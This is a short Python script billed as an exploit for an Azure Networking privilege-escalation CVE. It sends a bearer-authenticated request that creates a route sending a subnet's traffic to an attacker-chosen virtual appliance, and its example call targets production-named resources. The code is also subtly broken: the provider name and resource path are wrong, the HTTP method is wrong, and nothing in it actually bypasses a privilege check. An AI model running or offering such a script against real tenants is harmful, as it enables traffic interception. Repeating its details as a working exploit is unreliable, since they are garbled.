/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full

# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01

import requests, json, uuid

def create_privileged_route(subscription_id, rg_name, vnet_id,
                           subnet_id, api_version="2025-09-01"):
    """
    Build and send a route creation request that exploits the missing
    privilege check in Azure Networking.
    """

    # 1. Construct endpoint URL
    base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
    url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
           f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
    # Append query string for API version
    params = {"api-version": api_version, "detailLevel": "full"}

    # 2. Build JSON body; the route name is a random GUID to avoid collisions.
    route_name = str(uuid.uuid4())
    payload = {
        "properties": {
            "addressPrefix": "10.0.1.0/24",
            "nextHopType": "VirtualAppliance",
            "nextHopIpAddress": "10.0.2.5"
        },
        "tags": {"createdBy": "Alex Mercer"},
        "name": route_name
    }

    # 3. Set headers; use the same authentication token used by Azure SDK.
    headers = {
        "Authorization": f"Bearer {access_token}",
        "Content-Type": "application/json"
    }

    # 4. Execute POST request
    resp = requests.post(url, params=params,
                         json=payload, headers=headers)

    if resp.status_code == 201:
        print(f"[+] Successfully created route: {route_name}")
        return True
    else:
        print(f"[-] Request failed with status {resp.status_code}")
        print(resp.text)
        return False

# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"

create_privileged_route(subscription_id, rg_name, vnet_id,
                        subnet_id)